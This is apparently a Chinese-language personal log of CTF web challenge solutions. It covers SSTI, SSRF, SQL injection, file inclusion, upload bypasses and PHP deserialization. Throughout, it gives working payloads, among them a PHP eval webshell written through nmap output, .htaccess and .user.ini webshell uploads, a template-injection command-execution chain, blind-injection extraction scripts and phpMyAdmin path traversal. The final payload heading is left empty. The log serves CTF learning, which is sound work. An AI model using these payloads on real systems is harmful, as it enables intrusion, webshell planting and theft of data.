Web做题记录1

[强网杯 2019]高明的黑客

import os
import requests
import re
import threading
import time

print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

[BJDCTF2020]The mystery of ip

XFF和client-ip都可。发现可以控制输入

可以进行逻辑运算{7*8}

client-ip:{system('ls')}发现可以,尝试cat /flag

[GWCTF 2019]我有一个数据库

dirb扫描到后台有phpmyadmin目录,访问一下

版本为4.81,经查询,存在远程文件读取漏洞

直接上payload读取passwd文件

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

读取成功,尝试读取flag文件

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

网鼎杯 2020 朱雀组NMap

知识点

  • nmap参数
  • 后门写入

-oG hack.php’

回显hacker 经过调查 可知 php 被过滤 于是 使用短标签绕过

' <?= @eval($_POST["hack"]);?> -oG hack.phtml'

成功写入

访问

用蚁剑连接

[第二章 web进阶]SSRF Training

<?php 
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>

$url=http://a:@127.0.0.1:80@baidu.com/flag.php

[Flask]SSTI

payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}


Hello HOSTNAME=d43aec63194a PYTHON_PIP_VERSION=19.3.1 HOME=/root GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/ffe826207a010164265d9cc807978e3604d18ca0/get-pip.py SERVER_SOFTWARE=gunicorn/20.0.0 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 PYTHON_VERSION=3.6.9 PWD=/app PYTHON_GET_PIP_SHA256=b86f36cc4345ae87bfd4f10ef6b2dbfa7a872fbff70608a1e43944d283fd0eee FLAG=flag{044b09a2-bb0b-4dcb-abac-f4ceb70ff40e} }

[De1CTF 2019]SSRF Me

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):#检测是以指定字符开头,不能用这两个协议
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

审计一下源码 这三个是要传的参数

action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))

将三个参数传入TASK类中 调用TASK类中的EXEC方法

分析下三个参数:
第一个参数action是传入read和scan的

#需要read 才能读取
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
#action默认参数为scan
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

第二个参数传入一个文件名根据提示是flag.txt
第三个参数sign是一个md5值
最关键就是第三个参数,由于我们不知道secert_key的值,所以不能自己加密,考点应该在这里!

由于我们并没有secert_key的值,所以本来是没得办法的。

但是/geneSign路由,暴露了getSign函数,

我们可以根据路由getSign去得到正确的sign值。

访问一下geneSign传入参数param=flag.txtread得到一串MD5值:

f8c0d736fa2e823c2b488c82561c4732

然后让flag.txtread + scan拼接加密md5即为sign

/Delta?param=flag.txt

Cookie:action=readscan;sign=f8c0d736fa2e823c2b488c82561c4732;

[网鼎杯 2018]Fakebook

robots.txt

  • ssrf
  • sql注入
  • 反序列化漏洞

看到

/user.php.bak

下载后

<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

join,即注册一个用户

点击自己的username,点击之后,观察url可能存在get注入。是数字型注入。union select 发现有waf,用//即可绕过。union // select.回显位置是第二位,往下注注注。

发现爆出路径:/var/www/html/

o:8:”UserInfo”:3:{s:4:”name”:1:”a”;s:3:”age”:i:1:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}

因为blog在第四位,所以paylaod:

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

注入后blog栏显示file:///var/www/html/flag.php,此时即代表注册成功。查看源码:

iframe标签中读取了flag.php中的内容。flag即出现

[SWPU2019]Web1

知识点

二次注入

-1'

select * from ad where title = '$title' limit 0,1

过滤了空格用/**/绕

过滤了报错注入函数,用联合注入

过滤了or不能用order by 判断字段数和查询information_schema 这个库判断用group by

过滤了注释符又要闭合单引号 用group by 1’,1’

用group by 查询列数

# 判断多少字段
-1'group/**/by/**/22,'1
-1'group/**/by/**/23,'1
# 可得字段为22

绕过information_schema

  • 利用sys.schema_auto_increment_columns
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
  • 这里数据库为MaeiaDB,可用mysql.innodb_table_stats查表名
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
# 结果
FLAG_TABLE,news,users,gtid_slave_pos,ads,users

无列名注入

1'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

[GXYCTF2019]BabySQli

知识点

  • 绕过密码的md5验证

    MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

    base32 base64 解密

    select * from user where username = ‘$name’

直接可以用联合注入,表里有三列

1' Order by 3#

进行用联合注入,回显wrong user!,说明用户不在第一列

1' union select 1,2,3#

尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列

1' union select 1,'admin',3#

0’ union select 0,’admin’,’e10adc3949ba59abbe56e057f20f883e’#

密码输入

123456

flag{bbdf4c9d-3ae8-42a4-9f0f-b1ebd92537ae}

[CISCN2019 华北赛区 Day2 Web1]Hack World

知识点

  • 异或注入

一开始就给出了我们所需的表名和列名,然后提交一个id

当提交1和2的时候,查询出了两句,其他则报错

尝试输入一些常规的sql注入查询语句,结果都被过滤了

显示 SQL Injection Checked.

尝试异或注入,输入1^1^1,返回了id=1的结果

输入1^(ascii(substr((select(flag)from(flag)),1,1))>x)^1,这里x是一个未知数,不断改变x的值,便可根据回显逐渐爆破出flag

大佬的脚本

import requests
import time
import re
url = 'http://d7b94d40-8ccb-4ead-9ace-89662e7f29c7.node3.buuoj.cn/index.php'
flag = ''
for i in range(1, 43):
max = 127
min = 0
for c in range(0, 127):
s = (int)((max+min)/2)
payload = '1^(ascii(substr((select(flag)from(flag)),' + \
str(i)+',1))>'+str(s)+')'
r = requests.post(url, data={'id': payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max = s
else:
min = s
if((max-min) <= 1):
flag += chr(max)
break
print(flag)

[GXYCTF2019]禁止套娃

知识点

无参数RCE

什么都看不到,先扫一下目录

发现.git 目录 是git泄露

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

读下代码

第一个if php伪协议用不了 第二个if (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数 第三个if et info等函数也用不了 典型的无参数rce 简单来说 我们需要用全局变量来rce

解题

以一般的思路来说 肯定是要先scandir的 没有scandir没办法往下做 但是问题是scandir需要一个目录 而如果扫描当前目录的话需要一个”.” 第一部的预想就是要构造一个”.”
localeconv()
既然是数组 可以用current() 函数默认截取第一个

即得 ?exp=print_r(scandir(current(localeconv())))

现在我们只是拿到了这个数组的键值 还没有拿到这个数组对应flag键值的具体值

array_flip()
这个函数就可以得到键值 flag.php

只能通过highlight_file或者show_source flag.php的方法 简单来说就是要一个单独的flag.php这个倒数第二个值

array_rand()
简单来说这个函数可以随机返回一个数组里的值

payload

?exp=show_scoure(array_rand(array_flip(scandir(current(localconv())))));

或者

?exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localconv()))))));

array_reverse() 简单来说就是逆序输出数组 但是我们的那个flag在倒数第二个 所以我们还需要一个next() 顾名思义 输出下一个

payload

?exp=print_r(highlight_file(next(array_reverse(scandir(pos(localeconv())))));

本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。

因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php

payload

?exp=show_source(session_id(session_start()));

[BJDCTF2020]Mark loves cat

知识点

  • .git泄露
  • 变量覆盖漏洞

进网站什么都找不到,扫一下目录

发现是.git源码泄露

用githack下载查看源码

#flag.php
$flag = file_get_contents('/flag');
#index.php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

可以发现代码中有变量覆盖漏洞

通过观察发现没有办法绕过到达最后的echo 出flag

但exit也可以打印没有打印$flag 我们可以变量覆盖

观察第一个exit

GET参数中flag的值强等于某个变量($x)而且这个变量强不等于flag

即要存在又不能存在,不可能

观察第二个exit

不存在post或get型的flag参数

我们想要通过单纯的post参数搞定它是不可能的,因为post处的变量覆盖是让它变成我们可控的值,所以不能

我们可以通过单纯的get或者get+post搞定

get传参 yds=flag;

观察第三个exit

post型的flag强等于flag 或者get型的flag强等于flag

那我们就先从post型flag=flag开始:

我们post的数据,会在这一步,把原来的$flag的值改变,因为$x=flag,$y=flag,然后带进去变成了$flag=flag,原来的flag值没了,这条路不通:

我们试试get型的flag=flag:
is=flag&flag=flag)

[网鼎杯 2020 青龙组]AreUSerialz

<?php

class FileHandler {

protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// $this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
// $this->process();
}

}
$A=new FileHandler();
$B=serialize($A);
echo $B;

接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件

$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

<?php
include("flag.php");
class FileHandler {
protected $op = 2;
protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
protected $content = "A";
}
$a = new FileHandler();
echo serialize($a);

payload

str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;s:7:”content”;s:1:”A”;}

[SUCTF 2019]CheckIn

知识点:

.user.ini。

  • auto_append_file : 指定一个文件 , 自动包含在要执行的文件末尾 , 类似与在可执行文件末尾调用了 require() 函数
  • auto_prepend_file : 指定一个文件 , 自动包含在要执行的文件开头 , 类似与在可执行文件开头调用了 require() 函数
利用.user.ini漏洞的条件
  • 服务器脚本语言为PHP
  • 服务器使用CGI/FastCGI模式
  • 上传目录下要有可执行的php文件

该题对

exif_imagetype:not imag 这是因为题目用exif_imagetype进行了检测,判断是否是图片文件。

user.ini文件

其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

gif89a 为图片头

#user.ini
GIF89a
auto_prepend_file=shell.gif
#shell.gif
GIF89a?
<script language="php">eval($_GET['shell'])</script>

然后就可以用菜刀连了。但是它会不时的清除文件,所以链接的不是很稳定,甚至有是时候连不上,但我们可以在网页执行命令。所以我第一次就是在页面执行了命令,找到了flag:
扫描根目录:shell=var_dump(scandir(“/“));,我们可以可以看见一个叫flag的文件
打印:shell=var_dump(file_get_contents(“/flag”));

eg:

http://70446d7d-2c88-4c36-92d2-eedf67a8703b.node3.buuoj.cn/uploads/7da8cd499a49031eb076ec11e9e2aab3/index.php?shell=var_dump(file_get_contents("/flag"));

[MRCTF2020]你传你🐎呢

最初的htaccess文件是不能上传的,我改了Content-Type后才能上传,但说明能上传htaccess文件,

htaccess文件:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

原理:他没有过滤 .htaccess后缀,我们可以构建一个htaccess配置文件,让所有格式文件都解析为php,然后再上传图片马(只要后缀是允许的,随便都可以)就会被解析了。

文件内容如下

SetHandler application/x-httpd-php

上传.htaccess文件
最好把type改成image/jpeg类型

/var/www/html/upload/f3e466d5e8513076db058202a1b8722d/.htaccess succesfully uploaded!

上传.jpg文件马

/var/www/html/upload/f3e466d5e8513076db058202a1b8722d/php.jpg succesfully uploaded!

最后用蚁剑连

http://c2a02cc3-bae8-4b13-8387-c1f6cb7fbc7a.node3.buuoj.cn/upload/f3e466d5e8513076db058202a1b8722d/php.jpg

[强网杯 2019]Upload

注册

登录

传了一个gif

看到可以访问目录

cookiebase64解密 得序列化

怎么是png

a:5:{s:2:”ID”;i:3;s:8:”username”;s:7:”admin “;s:5:”email”;s:12:”123456@1.com“;s:8:”password”;s:32:”21232f297a57a5a743894a0e4a801fc3”;s:3:”img”;s:79:”../upload/0392412bc2d05c02c9fc9c42c86c3fd3/9185d1d0b5e4e9faec46f10be786ecb8.png”;}

试试能不能页面跳转

a:5:{s:2:”ID”;i:3;s:8:”username”;s:7:”admin “;s:5:”email”;s:12:”123456@1.com“;s:8:”password”;s:32:”21232f297a57a5a743894a0e4a801fc3”;s:3:”img”;s:31:”../../../../../../../etc/passwd”;}

<?php 
namespace app/web/controller;
class Profile
{
public $checker=0;
public $filename_tmp="../public/upload/0392412bc2d05c02c9fc9c42c86c3fd3/9185d1d0b5e4e9faec46f10be786ecb8.png"
public $filename="../public/upload/0392412bc2d05c02c9fc9c42c86c3fd3/qwe.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed=0;
}
$a=new Register()
$a->checker=new Profile();
$a->checker->checker=0;
echo base64_encode(serialize($a))

[MRCTF2020]Ezpop

__construct()//当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__toString() //当一个对象被当作一个字符串使用

__sleep()//在对象在被序列化之前运行

__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)

__get()//获得一个类的成员变量时调用

__set()//设置一个类的成员变量时调用

__invoke()//调用函数的方式调用一个对象时的回应方法

__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

此处用到的主要是__toString(),__wakeup(),__get(),__invoke(),

2.

类中,private变量与protected变量序列化后,变量名会有些异常,

private变量经反序列化后为\x00 + 类名 + \x00 + 变量名;

protected变量经反序列化后为,\x00 + * + \x00 + 变量名;

3.

列化操作只是保存对象(不是类)的变量,不保存对象的方法,其实反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的。我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法。

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

得到序列化

O:4:”Show”:2:{s:6:”source”;O:4:”Show”:2:{s:6:”source”;N;s:3:”str”;O:4:”Test”:1:{s:1:”p”;O:8:”Modifier”:1:{s:6:”*var”;s:52:”php://filter/convert.base64-encode/resource=flag.php”;}}}s:3:”str”;N;}

进行urlencode

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

得到base64

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezQ3MWE5ZmQ0LWUzZGYtNDRiNi04ZDhjLTU4Mjc0MGU4M2ZmYn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

<?php
class Flag{
private $flag= "flag{471a9fd4-e3df-44b6-8d8c-582740e83ffb}";
}
echo "Help Me Find FLAG!";
?>

[BSidesCF 2020]Had a bad day

观察URL 修改category值看到报错 include

文件包含漏洞

?category=php://filter/convert.base64-encode/resource=index

<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

需要对伪协议进行嵌套,加入一个可以通过的关键词然后进行flag读取

?category=php://filter/convert.base64-encode/resource=woofers/../flag

?category=php://filter/convert.base64-encode/index/resource=flag

[BJDCTF2020]EzPHP

知识点

  • 绕过QUERY_STRING url编码
  • preg_match('/^$/')用换行符%0a绕过
  • $_REQUEST绕过
  • file_get_contents函数绕过
  • sha1数组绕过
  • create_function注入

GFXEIM3YFZYGQ4A= base32解码 得到1nD3x.php

看源码六个if语句

最后包含flag.php

第一个if

if($_SERVER) {									if(preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  
die('You seem to want to do something bad?');
}

绕过**’QUERY_STRING’**,$_SERVER['QUERY_STRING']不会进行urldecode,$_GET[]会,用url编码绕过

  • $_SERVER[“QUERY_STRING”] => “id=1”,查询字符串,不存在为” “

第二个if

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
# /^aqua_is_cute$/ ^匹配开始 $匹配结束

preg_match('/^$/')用换行符%0a绕过

debu=aqua_is_cute%0a

第三个if

if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

$_REQUEST绕过,$_REQUEST在同时接收GET和POST参数时,POST优先级更高

第四个if

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
file_get_contents`函数,用data伪协议绕过`file=data://text/plain,debu_debu_aqua

第五个if

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1()函数无法处理数组,$shana和$passwd都是数组时都是false。$shana[]=1&$passwd[]=2

exc

file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute &shana[]=1&passwd[]=2

file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

第六个if

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

$code$arg可控,利用$code('',$arg)进行create_function注入

function a('',$arg){
return $arg
}

$arg=}代码;//,则}闭合了a(),同时//注释了后面的内容

function a('',$arg){
return }代码;//
}

构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

get_defined_vars()打印出所有定义的变量与变量值

payload应为

/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=};var_dump(get_defined_vars());//
post: file=1&debu=2

最后的flag在rea1fl4g.php中,使用require加base64编码加取反替代var_dump(get_defined_vars())
require(php://filter/convert.base64-encode/resource=rea1fl4g.php)

用require读取flag,用~绕过正则

<?php
$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);
#%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
?>

最终payload

